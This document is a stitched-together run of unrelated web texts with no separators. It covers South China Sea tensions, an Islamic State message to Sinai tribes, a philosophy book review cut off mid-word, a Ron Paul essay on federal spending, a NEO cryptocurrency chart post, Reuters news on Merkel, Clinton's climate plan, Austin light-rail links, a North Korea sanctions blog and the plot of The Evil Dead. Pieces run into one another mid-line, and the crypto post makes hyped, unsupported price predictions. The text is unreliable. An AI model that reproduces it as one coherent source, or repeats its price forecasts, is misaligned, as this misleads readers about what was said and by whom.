As of 2012, there was no Nectar Bend exercise planned for 2013, though there was one planned for 2014. It is possible that the exercise is biennial, unlike the annual Noble Piper exercise. According to the same briefing documents, only $150,000 for Strategic Lift (STRATLIFT) for Noble Piper 2013. STRATLIFT is the air, sea, and ground costs associated with deploying units and equipment into and out of theater. However, $2,000,000 was budgeted for both Nectar Bend 2014 and Noble Piper 2014. No explanation is provided in the document for this change.
AdvertisementsSHANGHAI (Reuters) - Chinese President Xi Jinping has vowed not to stir up trouble in the South China Sea but said China would react “in the necessary way” to provocations by other countries, the official Xinhua news agency reported.
China's President Xi Jinping delivers a speech to the media during the fourth Conference on Interaction and Confidence Building Measures in Asia (CICA) summit, in Shanghai May 21, 2014. REUTERS/Carlos Barria (CHINA - Tags: POLITICS) - RTR3Q5BM
The comments come at a time of deep tension between China and Vietnam over Beijing’s decision in early May to move an oil rig into disputed waters between the Paracel islands and the Vietnamese coast.
Days after China deployed the rig, the Philippines accused Beijing of reclaiming land on a disputed reef in the Spratlys to build what would be its first airstrip in the South China Sea.
“We will never stir up trouble, but will react in the necessary way to the provocations of countries involved,” Xinhua quoted Xi late on Friday as saying in a meeting with Prime Minister Najib Razak of Malaysia, which is also embroiled in a long-running maritime dispute with China.
Brunei and Taiwan also claim parts of the potentially oil- and gas-rich South China Sea.
China has become increasingly willing and able to assert its claims over disputed waters, causing concern among the other parties to the disputes, analysts say.
The decision to deploy the oil rig enraged Vietnam and sparked anti-China rioting. Scores of Vietnamese and Chinese ships continue to square off around the rig and a Vietnamese boat sank this week after a collision that both sides blamed on the other.
Xi told Najib the situation in the South China Sea was “stable in general, but signs deserving our attention have also emerged”.
China and Malaysia should “work together to strengthen dialogue and communication, advance maritime cooperation and joint development to maintain peace and stability on the South China Sea”, Xinhua quoted him as saying.
Southeast Asian nations with maritime claims have been slow to band together against China, but last week Vietnamese Prime Minister Nguyen Tan Dung and Philippine President Benigno Aquino made a rare joint denunciation of China.
To try to keep pressure on Beijing, diplomats said Vietnam might host a meeting with Philippine and Malaysian officials at the end of the month to discuss how to respond to China.
A senior Malaysian diplomatic source told Reuters two weeks ago that China’s assertiveness had given momentum to the three-way talks and “brought us together”, but he played down the discussions as little more than “chit chat” at this stage.In a clear sign of increasing alarm from the Islamic State-affiliated group Sinai Province, concerned over the recent declaration of war issued against it by North Sinai’s prominent tribe al-Tarbiyeen, the IS-affiliated Ibn Taymiyyah media center released a message in which the group subtly begged for “softness” from al-Tarbiyeen and other Sinai tribes.
The message began by describing the emergence of al-Tarbiyeen tribe and other tribes in the militant confrontations with Sinai Province as a critical development; it continued by affirming that its message was to deliver admonishment to these tribes.
Contrary to other recently issued statements, the IS message avoided mentioning clear threats to al-Tarbiyeen tribe; instead, it praised the tribes in the Sinai Peninsula by describing them as a fortified stronghold and strong shield to al-Maghdiyeen (affiliated militants).
Moreover, it noted that only a small fraction of the tribe has declared war against the IS in Sinai, adding that this does not necessarily mean that the entire tribe is willing to launch war against IS.
Recently, there have been frequent outbreaks of fierce military confrontations between the Sinai Province group and a number of prominent members from al-Tarbiyeen tribe that have managed to kill a number of IS militants.
Meanwhile, the Sinai Province group was able to target gatherings of a number of the tribe’s prominent members and kill them through suicide bombings; this pushed the tribe to clearly state that it would engage in military confrontation with IS in Sinai for the sake of eliminating them.
Although, the above IS message carries a softer, more peaceful tone addressed to al-Tarbiyeen tribe and other tribes in Sinai, the Sinai Province group has previously said in a statement that all al-Tarbiyeen members are “apostates” and should be killed.
“We are your soldiers. Your tribe al-Tarbiyeen has introduced its finest sons to join us, a number of them are our martyrs and others still are undertaking jihad (holy war),” the IS message read.
Furthermore, the message called on al-Tarbiyeen to clearly disown and separate from the “small fragment” that expressed or participated in fighting against Sinai Province; while the call was accompanied by confirmation that supporting IS will keep alive the glorious history of the Sinai tribesmen.
“We are sure al-Tarbiyeen tribe will disown its sons who have participated in fighting IS in Sinai alongside the apostate army and police forces,” the message said.
In the same context, the message praised the sons of al-Tarbiyeen tribe in the Palestinian Gaza Strip and admitted that a senior leader in Sinai Province, who is the son of al-Tarbiyeen tribe in Gaza, was killed in a military confrontation with the army in Sinai Peninsula.
The message also mentioned a number of names which it claimed are names of sons from al-Tarbiyeen tribe who were members in Sinai Province and have been killed in confrontations with the army.
The mention of these names was part of the main goal of the message, which is to gain support from the tribe and other tribes in Sinai Peninsula, moreover to persuade them not to participate in military operations against Sinai Province.
To achieve this target, the message concluded by saying that if Sinai tribes provided support for the Egyptian army and state, they will not gain any benefits, compared with the endless benefits they will get if they supported IS.
The entry of Sinai tribes in the war scene that is ongoing between Sinai Province and the state, represented by the army and police forces, is now believed to create radical changes in the future of this war.
This radical change will occur as the Sinai tribes are more aware; they have more information and knowledge of the hiding places of IS members in North Sinai and can reach them easily, unlike the armed forces.
Recently, al-Tarbiyeen managed to capture nine members from Sinai Province group, while they were trying to reach a tribal gathering to launch an attack, according to a statement released by the tribe’s spokesperson, Moussa el-Dalh.
The statement further asserted that among the nine captured was an IS Police Authority official, alleged to be active on the ground in North Sinai. This step is the first-of-its kind to be achieved in the war which has been raging between the group and the state over the past three years.If your prior credence that a book subtitled Nietzschean Constitutivism would be intelligible isn't high, you're probably not alone. This makes Paul Katsafanas's book all the more impressive and important. Katsafanas offers a comprehensive examination of constitutivism in ethics, including a lucid exposition and critical discussion of previous constitutivist theories, as well as a novel version of constitutivism that draws on developments in previously untapped areas -- most notably, Nietzsche's ethics, metaethics, and philosophical psychology. Chapters 1 and 2 examine constitutivism in general, motivating the view, explaining what is essential to it, and defending it against some of the most pressing objections; Chapters 3 and 4 examine two of the most prominent existing constitutivist accounts, those of David Velleman and Christine Korsgaard; and Chapters 5 through 9 develop Katsafanas's positive version of constitutivism: Nietzschean Constitutivism. The writing is consistently clear, the argumentation reliably rigorous: sections are bookended by a roadmap and recap, arguments are expressed in (something close to) premise-conclusion form, and possible responses to objections are made explicit up front; one rarely finds oneself lost in the dialectic. The book is a valuable read not only for those interested in constitutivism, but also for anyone with a serious interest in ethical theory, philosophy of action, moral psychology, and Nietzsche studies more broadly.
The book is not without its flaws -- though, to Katsafanas's credit, it is often the characteristic presence of the above virtues that makes salient their absence in discussions of certain critical issues. Among the book's most important contributions is that it highlights a putative pervasive problem facing existing versions of constitutivism. It is this that elucidates the structure of a successful constitutivist theory -- or at least a constitutivist theory that stands the best chance of succeeding -- and thus paves the way for the book's primary positive project of developing such a theory in detail. However, a cost of the impressive range of Katsafanas's discussion is that many important pieces of his positive view are only sketched. Objections to alternative accounts are sometimes accepted prematurely, and analogous worries for his theory are sometimes hastily dismissed. In this review I will focus on examining, first, whether previous constitutivist theories are in fact vulnerable to Katsafanas's charge, and, second, whether Katsafanas's Nietzschean Constitutivism fares better. I will close by briefly considering two issues -- one philosophical, one interpretive -- concerning what is Nietzschean in Nietzschean Constitutivism: the thesis that power is a constitutive aim of action.
Constitutivism attempts to ground normative facts -- facts about what is valuable, what there is reason to do, etc. -- in facts about what is constitutive of agency or action. Constitutivists agree that aims generate normative reasons, reasons to satisfy those aims. And they agree that action itself has a constitutive aim, i.e., that every token action A aims at some goal, where having this aim is part of what constitutes A's being an action (39). (Some constitutivists, like Korsgaard, couch their theories in terms of constitutive principles, but I will bracket this complication here.) Where constitutivists differ is on what this constitutive aim is, and thus on what (universal) reasons are generated by this aim. Katsafanas's strategy is to grant Velleman and Korsgaard their conceptions of action but deny that their theories of practical reason -- their theories of what normative reasons are generated by the constitutive features of action -- follow.
Katsafanas's summary of his objection is worth quoting in full:
The constitutivist seeks to show that actions have some feature, F, which both makes them actions and makes them good actions. In order to account for the possibility of bad action [an action which there is less reason to perform than another available action], the constitutivist needs to open a gap between actions without feature F (the good-making feature) and actions with feature F. The only way to do this... is to claim that F comes in degrees... The constitutivist can then claim that good actions manifest a high degree of F, whereas bad actions manifest lesser degrees of F. However, the constitutivist then faces the question of why we should aim at manifesting actions with the highest degree of feature F, given that we could perform actions with low degrees of F without thereby ceasing to act.... Rather than establishing merely that we aim at manifesting some degree of F, the constitutivist needs to establish that, in every action, we aim at manifesting the highest degree of F. Neither Korsgaard nor Velleman succeeds in showing this. (107-108; cf. 65, 109)
Consider Velleman's theory, on which action's constitutive aim is self-knowledge, or knowing what you are doing. If this is right, then we have reason to perform actions that generate some degree of self-knowledge. The worry is that nothing in the theory captures why we have more reason to perform actions that more fully satisfy action's constitutive aim and generate more self-knowledge. This problem generalizes to all constitutivist theories (78n.13, 107-108).
The solution, Katsafanas claims, is to employ a "differentially realizable" constitutive aim -- an aim that can be fulfilled to different degrees (e.g., an aim of earning money (75)). Katsafanas sometimes objects that Velleman and Kors |
believe that America can afford this bloated government are the extremists.
Unconstitutional government spending, after all, is doubly an evil: it not only means picking the taxpayer’s pocket, it also means subverting the system of limited and divided government that the Founders created. Just look at how federal spending has corrupted American education.
Eliminating federal involvement in K—12 education should be among a constitutionalist president’s top domestic priorities. The Constitution makes no provision for federal meddling in education. It is hard to think of a function less suited to a centralized, bureaucratic approach than education. The very idea that a group of legislators and bureaucrats in D.C. can design a curriculum capable of meeting the needs of every American schoolchild is ludicrous. The deteriorating performance of our schools as federal control over the classroom has grown shows the folly of giving Washington more power over American education. President Bush’s No Child Left Behind law claimed it would fix education by making public schools accountable. However, supporters of the law failed to realize that making schools more accountable to federal agencies, instead of to parents, was just perpetuating the problem.
In the years since No Child Left Behind was passed, I don’t think I have talked to any parent or teacher who is happy with the law. Therefore, a constitutionalist president looking for ways to improve the lives of children should demand that Congress cut the federal education bureaucracy as a down payment on eventually returning 100 percent of the education dollar to parents.
Traditionally, the battle to reduce the federal role in education has been the toughest one faced by limited-government advocates, as supporters of centralized education have managed to paint constitutionalists as anti-education. But who is really anti-education? Those who wish to continue to waste taxpayer money on failed national schemes, or those who want to restore control over education to the local level? When the debate is framed this way, I have no doubt the side of liberty will win. When you think about it, the argument that the federal government needs to control education is incredibly insulting to the American people, for it implies that the people are too stupid or uncaring to educate their children properly. Contrary to those who believe that only the federal government can ensure children’s education, I predict a renaissance in education when parents are put back in charge.
The classroom is not the only place the federal government does not belong. We also need to reverse the nationalization of local police. Federal grants have encouraged the militarization of law enforcement, which has led to great damage to civil liberties. Like education, law enforcement is inherently a local function, and ending programs such as the Byrne Grants is essential not just to reducing federal spending but also to restoring Americans’ rights.
Pillars of Prosperity:... Ron Paul Best Price: $4.87 Buy New $6.00 (as of 03:45 EST - Details)
Obviously, a president concerned with restoring constitutional government and fiscal responsibility would need to address the unstable entitlement situation, possibly the one area of government activity even more difficult to address than education. Yet it is simply unfair to continue to force young people to participate in a compulsory retirement program when they could do a much better job of preparing for their own retirements. What is more, the government cannot afford the long-term expenses of entitlements, even if we were to reduce all other unconstitutional foreign and domestic programs.
As I mentioned in the introduction to this article, it would be wrong simply to cut these programs and throw those who are dependent on them into the streets. After all, the current recipients of these programs have come to rely on them, and many are in a situation where they cannot provide for themselves without government assistance. The thought of people losing the ability to obtain necessities for them because they were misled into depending on a government safety net that has been yanked away from them should trouble all of us. However, the simple fact is that if the government does not stop spending money on welfare and warfare, America may soon face an economic crisis that could lead to people being thrown into the street.
Therefore, a transition away from the existing entitlement scheme is needed. This is why a constitutionalist president should propose devoting half of the savings from the cuts in wars and other foreign spending, corporate welfare, and unnecessary and unconstitutional bureaucracies to shoring up Social Security, Medicare, and Medicaid and providing enough money to finance government’s obligations to those who are already stuck in the system and cannot make alternative provisions. This re-routing of spending would allow payroll taxes to be slashed. The eventual goal would be to move to a completely voluntary system where people only pay payroll taxes into Social Security and Medicare if they choose to participate in those programs. Americans who do not want to participate would be free not to do so, but they would forgo any claim to Social Security or Medicare benefits after retirement.
Some people raise concerns that talk of transitions is an excuse for indefinitely putting off the end of the welfare state. I understand those concerns, which is why a transition plan must lay out a clear timetable for paying down the debt, eliminating unconstitutional bureaucracies, and setting a firm date for when young people can at last opt out of the entitlement programs.
A final area that should be front and center in a constitutionalist’s agenda is monetary policy. The Founders obviously did not intend for the president to have much influence over the nation’s money — in fact, they never intended any part of the federal government to operate monetary policy as it defined now. However, today a president could play an important role in restoring stability to monetary policy and the value of the dollar. To start, by fighting for serious reductions in spending, a constitutionalist administration would remove one of the major justifications for the Federal Reserve’s inflationary policies, the need to monetize government debt.
There are additional steps a pro-freedom president should pursue in his first term to restore sound monetary policy. He should ask Congress to pass two pieces of legislation I have introduced in the 110th Congress. The first is the Audit the Fed bill, which would allow the American people to learn just how the Federal Reserve has been conducting monetary policy. The other is the Free Competition in Currency Act, which repeals legal tender laws and all taxes on gold and silver. This would introduce competition in currency and put a check on the Federal Reserve by ensuring that people have alternatives to government-produced fiat money.
All of these measures will take a lot of work — a lot more than any one person, even the president of the United States, can accomplish by himself. In order to restore the country to the kind of government the Founders meant for us to have, a constitutionalist president would need the support of an active liberty movement. Freedom activists must be ready to pressure wavering legislators to stand up to the special interests and stay the course toward freedom. Thus, when the day comes when someone who shares our beliefs sits in the Oval Office, groups like Young Americans for Liberty and Campaign for Liberty will still have a vital role to play. No matter how many pro-freedom politicians we elect to office, the only way to guarantee constitutional government is through an educated and activist public devoted to the ideals of the liberty.
For that reason, the work of Young Americans for Liberty in introducing young people to the freedom philosophy and getting them involved in the freedom movement is vital to the future of our country. I thank all the members and supporters of YAL for their dedication to changing the political debate in this country, so that in the not-too-distant future we actually will have a president and a Congress debating the best ways to shrink the welfare-warfare state and restore the republic.
This essay originally appeared in Young American Revolution, the magazine of Young Americans for Liberty.
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March 5, 2010
The Best of Ron PaulSUMMARY
Here is NEO/BTC first because it looks SOOOOO BULISH! This is the congruence of Elliott Waves, Chart Patterns and Fractals saying that price is about to EXPLODE!! Take a look at the white box. The a,b,c,d,e symmetrical triangle inside it exploded and price went veritcal! Now, view the blue box. The symetrical triangle is also a,b,c,d,e but its about 7 times bigger than its fractal! OMG! The a,b,c,d,e is done if not already! Geyser like price EXPLOSION IMMINENT!!
I've updated the Elliott Waves for the NEO/USD pair. Higher highs expected and the $60.47 target is sustained. Perhaps the bull flag pattern could start the fire works.
My free hand drawing of the bowl shape pattern is not the prettiest, but price is adhereing to it pretty well.
My alternate count is that we NEO could carve out an a,b,c,d,e within the bull flag. Still, no difference, as destination remains the same!BERLIN (Reuters) – The German government dismissed charges on Monday that it has become “incapacitated” because of its failure to agree on a strategy on the refugee question that has sent Chancellor Angela Merkel’s approval ratings falling to five-year lows.
Merkel’s spokesman Steffen Seibert acknowledged she and her conservative ally Horst Seehofer, leader of the Christian Social Union (CSU) sister party, had not bridged their differences at a two-hour meeting on Sunday over his demand for refugee limits.
But he brushed aside a chorus of complaints from the opposition Greens and Left parties that the government was rudderless because they were unable to find common ground on the explosive issue that has hurt the conservatives at the polls.
Seehofer wants a law limiting the number of refugees coming to Germany each year to 200,000. Merkel refuses any limits. Their dispute has festered for nearly a year in which more than a million refugees fleeing war and poverty arrived in Germany.
“The government was always fully capable of acting on this issue and it is still capable of acting,” Seibert told a regular government news conference after being grilled about the divisions in Merkel’s conservative bloc.
“We’re in the middle of an arduous and formidable process,” he said. “We accomplished a lot but have a lot of work to do.”
The CSU has long criticised Merkel’s liberal refugee policy and on Saturday Seehofer said the two conservative parties face election defeats if they remain at odds over migration.
ANTI-IMMIGRANT PARTY ON RISE
In a regional vote on September 4, Merkel’s CDU came in third place, behind the anti-immigrant Alternative for Germany (AfD) – a shock result that Merkel has acknowledged was a result of her party’s pro-refugee stance. The AfD is also expected to perform well in a regional vote in Berlin next Sunday.
The accusations that Merkel’s three-party grand coalition government – made up of her Christian Democrats, the CSU and the centre-left Social Democrats (SDP) – has become incapacitated followed Sunday’s fruitless meeting between Merkel and Seehofer.
The two later met SPD leader Sigmar Gabriel in Merkel’s office but the refugee issue was not discussed, officials said.
“That the coalition leaders won’t even discuss an issue that has everyone so worked up is an admission of failure,” said Katrin Goering-Eckardt, a Greens parliamentary leader. “You have to ask yourself if this coalition has become incapacitated.”
Left party parliamentary floor leader Dietmar Bartsch said it was astonishing that the coalition leaders avoided the issue.
Bartsch said the government’s days were clearly numbered, adding: “The best thing would be to file for divorce quickly.”
Even the SPD, part of the coalition since 2013, has started to express doubts about its ability to operate.
“It’s Merkel’s job to ensure that the CDU and CSU are able to govern,” said SPD general secretary Katarina Barley, Gabriel’s deputy leader in the SPD headquarters. “The SPD can’t keep mediating the cat fight between the CDU and CSU.”
(By Erik Kirschbaum. Reporting by Erik Kirschbaum; editing by Michael Nienaber and Gareth Jones)This story is reproduced here as part of the Climate Desk collaboration.
Hillary Clinton took a strong stance on clean energy Monday, telling a crowd in Des Moines, Iowa, that her efforts to tackle climate change would parallel President John F. Kennedy’s call to action during the space race in the 1960s.
“I want to get the country back to setting big ambitious goals,” Clinton said. “I want us to get back into the future business, and one of the best ways we can do that is to be absolutely ready to address the challenge of climate change and make it work to our advantage economically.”
Her remarks tracked closely with an ambitious plan her campaign released Sunday night, which set a target of producing enough renewable energy to power all the nation’s homes and businesses by 2027.
“America’s ability to lead the world on this issue hinges on our ability to act ourselves,” she said. “I refuse to turn my back on what is one of the greatest threats and greatest opportunities America faces.”
Still, the Democractic front-runner refused — as she has several times before — to say whether or not she supports construction of the Keystone XL pipeline. That project, which would carry crude oil from Canada’s tar sands to refineries and ports in the United States, is seen by many environmentalists as a blemish on President Barack Obama’s climate record. It has been stalled for years in a lengthy State Department review that began when Clinton was still Secretary of State. The Obama administration has resisted several recent attempts by Congress to force Keystone’s approval, but it has yet to make a final decision on the project — although one is expected sometime this year.
“I will refrain from commenting [on Keystone XL], because I had a leading role in getting that process started, and we have to let it run its course,” Clinton said, in response to a question from an audience member.
Her non-position on Keystone earned derision from environmentalist Bill McKibben, whose organization 350.org has been at the forefront of opposition to the pipeline.
“I think it’s bogus,” he said in an email. “Look, the notion that she can’t talk about it because the State Dept. is still working on it makes no sense. By that test, she shouldn’t be talking about Benghazi or Iran or anything else either. The more she tries to duck the question, the more the whole thing smells.”
Clinton also punted on an audience request to reveal further details of how exactly she would finance the renewable energy targets she announced yesterday, which aim even higher than those already put in place by Obama. She reiterated that one key step would be to ensure the extension of federal tax credits for wind and solar energy that have expired or are set to expire over the next few years. And she said that she would continue Obama’s practice of pursuing aggressive climate policies from within the White House, saying that “we still have a lot we can do” without waiting for a recalcitrant Congress to act.
Clinton acknowledged that the clean energy boom would come at a cost for the U.S. coal industry, which is already in steep decline. She said she would “guarantee that coal miners and their families get the benefits they’ve earned,” but didn’t elaborate on what she meant or how specifically she would achieve that.
Environmental groups offered a generally positive reaction to Clinton’s policy announcement Sunday. In a statement, League of Conservation Voters Vice President Tiernan Sittenfield commended her for “calling out climate change deniers and effectively illustrating the urgent need to act on a defining issue of our time.” She also earned praise from billionaire environmentalist Tom Steyer, who has set a high bar on climate action for any candidate who wants to tap his millions.
“I refuse to let those who are deniers to rip away all the progress we’ve made and leave our country exposed to climate change,” Clinton said.Austin, Texas: City's Urban Rail Plan Needs Major Overhaul The new MetroRail system of the Capital Metropolitan Transportation Authority (Capital Metro, or CMTA) was officially launched on on 22 March 2010. More...
Austin's Capital MetroRail Returns Rail Transit to Central Texas The new MetroRail system of the Capital Metropolitan Transportation Authority (Capital Metro, or CMTA) was officially launched on on 22 March 2010. More...
US Federal Railroad Administration takes aim... at light rail In a policy initiative that has emerged most recently with respect to Capital Metro's light railway project in Austin, Texas, the FRA is seems to be insisting that, in most cases, these types of rail projects are not light railways, but must be considered "commuter railroads", and therefore must comform with full requirements for "heavy" railroad operations. More...
State of Texas to Austin transit: Get lost Texas Governor Rick Perry's State Preservation Board evicts Capital Metro transit service from its busy Capitol Transit Center stop at the Capitol grounds. More...
Austin: Rail transit project passes major milestone with completion of first railcar Central Texas's first rail transit project, a 32-mile non-electrified light regional railway now being installed, passed a major milestone with the completed assembly of the system's first "urban commuter rail" car. More...
Austin: Rail referendum passes Voters in the Capital Metro service area of Austin, Texas "resoundingly" approved the agency's referendum to bring passenger rail service to the region. More...
Austin: Light "Commuter" Railway Proposal Offers Mobility Relief for Congested Northwest Corridor Austin, Texas voters are being asked to approve the one new-start project among the major rail ballot initiatives this electoral season – a relatively low-cost, "foot in the door" approach to rail transit. More...
Austin: Light "commuter" railway plan heads toward Nov. 2nd vote Capital Metro, the Austin area's regional transit authority, has placed on the Nov. 2nd ballot a referendum for a regional "commuter" rail plan. More...
Campaign Continues for Austin Light Rail A majority – 50.6% – of voters within the City of Austin actually voted in favor of Capital Metro's light rail plan in November 2000. Evidence of widespread community support for light rail is fueling a resurgence of the campaign to develop a light rail system in Austin, Texas. More...
Austin Statesman: Light Rail + Roads Needed Light rail supporters have long contended that automobiles, light rail, buses, bicycles, pedestrian access, and other forms of mobility are all part of an integrated mobility system. A front-page Austin American-Statesman report emphasizies that "... a growing body of transportation research concludes that cities cannot concentrate on roads alone as a means of controlling traffic congestion and must work toward a combined approach of better transit – with light rail as an example – as well as expanding highways." More...
Austin's Light Rail: Tough Questions, Sober Answers An interview with Karen Rae, general manager of Austin's Capital Metro transit agency provides some very honest, sober, and realistic answers to some very tough questions on light rail. it's followed by some additional analysis of the traffic congestion issue by Light Rail Progress. More...
Austin: Public Meetings Consider Routes, Costs Capital Metro recently held a series of information Sharing Meetings, focused on route and cost options for the proposed light rail transit/Bus Rapid Transit system. Light Rail Progress supports a basic route plan which optimizes engineering, cost, and ridership for the initial startup system. More...
Austin Light Rail Plan: Support Grows As public support continues to increase for Capital Metro's proposed light rail transit (LRT) system for Austin – including the 14.6-mile starter line from northwest Austin to downtown – the battle for public confidence has also intensified. A special report from Light Rail Progress. More...
Campaign Grows for Light Rail in Austin Austin Texas's first light rail transit (LRT) project is scheduled to be submitted to a popular vote on November 7th... and the campaign to secure this goal has begun. Supporters say LRT would be a mobility and environmental improvement of truly massive scale for Austin. More...
Light Rail Now! and Walkable Neighborhoods Light Rail Now! and Walkable Neighborhoods is a grassroots organization supporting light rail in Austin. it includes representatives from and members of a wide range of Austin organizations, including taxpayers, conservatives, liberals, moderates, homeowners, renters, students, teachers, motorists, cyclists, pedestrians, current transit riders, seniors, transportation activists, businesses, environmentalists, labor unions, trade groups, neighborhood advocates, persons with disabilities, and many others. More...
Light Rail: Real Solution for Austin Traffic Why are buses not a viable alternative to light rail transit (LRT)? How have most new LRT systems been completed on time and within budget? Why does the investment in LRT pay off? Does it remove cars from congested streets and freeways? How has LRT solidly demonstrated its potential for stimulating and shaping adjacent real estate development at its transit stops and stations? These and other essential questions are discussed. More...Trade Sanctions for North Korea - You Punish The Kim Dynasty You Punish The People published by The 1st Amender
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I want to get this out of the way: The Kim dynasty regime is responsible for many atrocities against the United States and other countries. With that being said I think it is important to consider where we stand as well. As of now, we can see that North Korea has weapons of mass destruction and is ramping up their efforts to bolster for an offensive strategy. We can also say the following things to note the USA does as well as North Korea:
We have weapons of mass destruction and use it as leverage against our opponents. We torture people to gain information about our opponents. We actively try to change the opinion of our populace by instilling political propoganda to reduce opposing thoughts.
Now onto the aspect of North Korea weaponizing itself with nuclear weapons. Something seems familiar about this.
While I don't believe in weaponizing any country especially compared with nuclear, I would prefer to remove nuclear weapons entirely off the face of the Earth. Though in the reality of nuclear weapons technology, it becomes very difficult to pretend it doesn't exist. Russia has been known to bolster up its defenses as soon as it saw its opponent, the USA, show that it has the capability to strike their homeland.
Personally, in my opinion, I believe that North Korea is attempting to show how powerful it is to prevent the USA from attacking. It doesn't surprise me. This happened with Russia in the 1960's with the USA in the cold war. While we spent all our time increasing defensive and offensive capabilities, increasing technology to show what we were made of. We were terrified of Russia and the communist threat in the 1950's-1980's.
Little did we know that Russia was terrified as well. They showed that they could destroy the USA. They did everything in their power to show: "You don't want to mess with us."
I feel this is the same exact thing that is happening with North Korea. Yet another repeat of history right in front of our eyes.
Trade Sanctions against North Korea
Now lets talk about a serious humanitarian effort that has caused a huge amount of deaths that I feel most don't talk about in the USA. Trade sanctions. In the mid-1990s North Korea had suffered a massive flood that devastated a huge amount of farm land for the North Korean people. When this happened there was a mass starvation due to trade sanctions that have been in place against North Korea. Somewhere out of 22 million citizens, around 240,000 to 3,500,000 North Koreans died from starvation or hunger-related illness.(source) (Somewhere between 1% to 15% of the population killed due to flood and trade sanctions)
I consider trade sanctions to be a humanitarian blight and should not be used to employ leverage against another country. While I don't believe in North Korean ideology, we are still essentially inadvertently killing people due to ideological indifference. In the end we are talking about people here. While I would like to see North Korea denounce their Juche way of thinking, we are a long way from that being a reality.
In the end, we need to talk diplomacy over all. No more death. No more killing. No more forcing the other to stop trying to defend itself (though heck, they could desire to attack, but preimptively attacking to stop an attack is what gets countries into trouble), and help lift the trade sanctions of North Korea so we can get diplomatic efforts under way.
Please share if you agree. Send this to our authoritarian aristocrats interested in showing North Korea 'whos boss around here' or whether you consider the people of North Korea to be just that: People who just want to live their lives without fear, just like the rest of us.This article is about the 1981 film. For the article covering the franchise as a whole, see Evil Dead. For a concise list of other uses of the phrase "The Evil Dead" or similar, see The Evil Dead (disambiguation)
The Evil Dead is a 1981 American supernatural horror film written and directed by Sam Raimi and executive produced by Raimi and Bruce Campbell, who also stars alongside Ellen Sandweiss and Betsy Baker. The film focuses on five college students vacationing in an isolated cabin in a remote wooded area. After they find an audio tape that releases a legion of demons and spirits, members of the group suffer from demonic possession, leading to increasingly gory mayhem. Raimi and the cast produced the short film Within the Woods as a "prototype" to build the interest of potential investors, which secured Raimi US$90,000 to produce The Evil Dead. The film was shot on location in a remote cabin located in Morristown, Tennessee, in a difficult filming process that proved extremely uncomfortable for the cast and crew.
The low-budget horror film attracted the interest of producer Irvin Shapiro, who helped screen the film at the 1982 Cannes Film Festival. Horror author Stephen King gave a rave review of the film, which helped convince New Line Cinema to serve as its distributor. Though a modest commercial success in the United States, grossing just $2.4 million, it was a bigger success internationally, grossing more than $27 million for a worldwide gross of $29.4 million. Both early and later critical reception were universally positive and in the years since its release, The Evil Dead has developed a reputation as one of the largest cult films and has been cited among the greatest horror films of all time, and one of the most successful independent films ever made. The Evil Dead launched the careers of Campbell and Raimi, who would collaborate on several films together throughout the years, including Raimi's Spider-Man trilogy.
The film has spawned a media franchise, beginning with two sequels written and directed by Raimi, Evil Dead II (1987) and Army of Darkness (1992), as well as video games, comic books, and a television series. The film's protagonist Ash Williams (Campbell) is regarded as a cult icon. The fourth film, serving as reboot, remake and sequel, was titled Evil Dead and was released in 2013. Raimi co-produced the film alongside Campbell and the franchise producer, Robert Tapert. As with the other films, the follow-up television series Ash vs Evil Dead was created and produced by Sam and Ivan Raimi, with Campbell also executive producing.
Plot [ edit ]
Five Michigan State University students—Ash Williams, his girlfriend, Linda; Ash's sister, Cheryl; their friend Scott; and his girlfriend Shelly—are vacationing at an isolated cabin in rural Tennessee. On their first night there, Cheryl hears a faint, demonic voice telling her to "join us" just before her hand seems to become possessed and draw a picture of a book with a deformed face on its cover. Shaken and confused, she decides not to mention the incident to the others.
When the trapdoor to the cellar mysteriously flies open during dinner, Ash and Scott go down to investigate and find the Naturan Demanto, a Sumerian version of the Egyptian Book of the Dead, along with a tape recorder belonging to the archaeologist who owned it. Scott plays a tape of the archaeologist reciting a series of incantations that resurrect a mysterious, demonic entity. Agitated, Cheryl goes outside to investigate strange noises she hears. In the woods, she is raped by demonically possessed trees. When she returns to the cabin bruised and anguished, Ash agrees to take her into town for the night. However, they soon discover that the bridge to the cabin has been destroyed. Back at the cabin, Ash listens to more of the tape, learning that the only way to kill the entity is to dismember the body when it possesses a host. Cheryl succumbs to the entity and attacks the others, stabbing Linda in the ankle with a pencil before Scott is able to lock her in the cellar.
Shelly becomes possessed as well, forcing Scott to chop up her body with an axe and bury the remains. Shaken by the experience, he leaves to find a way back to town but soon returns mortally wounded; he dies while warning Ash that the trees will not let them escape alive. When Ash goes to check on Linda, he is horrified to find that she too has become possessed by the demon. She attacks him, but he stabs her with a Sumerian dagger. Unwilling to dismember her, he buries her instead. But when she revives and attacks him, he is forced to decapitate her.
Back in the cabin, Ash is attacked by Cheryl—who has escaped the cellar—and the reanimated Scott. Ash manages to throw the Naturan Demanto into the fireplace. As the book burns, Scott and Cheryl gruesomely decompose, leaving the disgusted Ash covered in their blood and entrails. As day breaks, Ash stumbles outside. Before he can get in his car to leave, the entity attacks him from behind, dragging him screaming into the woods.
Cast [ edit ]
Bruce Campbell as Ash Williams
Ellen Sandweiss as Cheryl Williams
Hal Delrich as Scott
Betsy Baker as Linda
Sarah York as Shelly
Production [ edit ]
Within the Woods to generate the interest of investors for The Evil Dead. Sam Raimi directed the short filmto generate the interest of investors for
Background and writing [ edit ]
Raimi and Campbell grew up together, and have been friends from an early age.[7] The duo directed several low-budget Super 8 mm film projects together.[8] Several were comedies, including Clockwork and It's Murder!.[9][10] Shooting a suspense scene in It's Murder! inspired Raimi to approach a career in the horror genre, and after researching horror cinema at drive-in theaters, Raimi was set on directing a horror film. The idea was to shoot a short film first, which would attract the interest of producers, and then use the money gained from that to shoot a full-length project.[10][11] The short film that Raimi created was called Within the Woods.[12] It was produced for $1,600, but for The Evil Dead, Raimi needed over $100,000.[13]
To generate funds for the film, Raimi approached Phil Gillis, a lawyer to one of his friends.[13][14] Raimi showed him Within the Woods, and although Gillis was not impressed by the short film, he offered Raimi legal advice on how to produce The Evil Dead. With his advice in mind, Raimi asked a variety of people for donations, and even eventually "begged" some.[13] Campbell had to ask several of his own family members, and Raimi asked every individual he thought might be interested.[13] He eventually raised enough money to produce a full-length film, though not the full amount he originally wanted.[13]
With enough money to produce the film, Raimi and Campbell set out to make what was then titled Book of the Dead, a name inspired by Raimi's interest in the fiction of H. P. Lovecraft.[10][15] The film was supposed to be a remake of Within the Woods, with higher production values and a full-length running time. Raimi turned 20 just before shooting began, and he considered the project his "rite of passage".[16]
Pre-production and casting [ edit ]
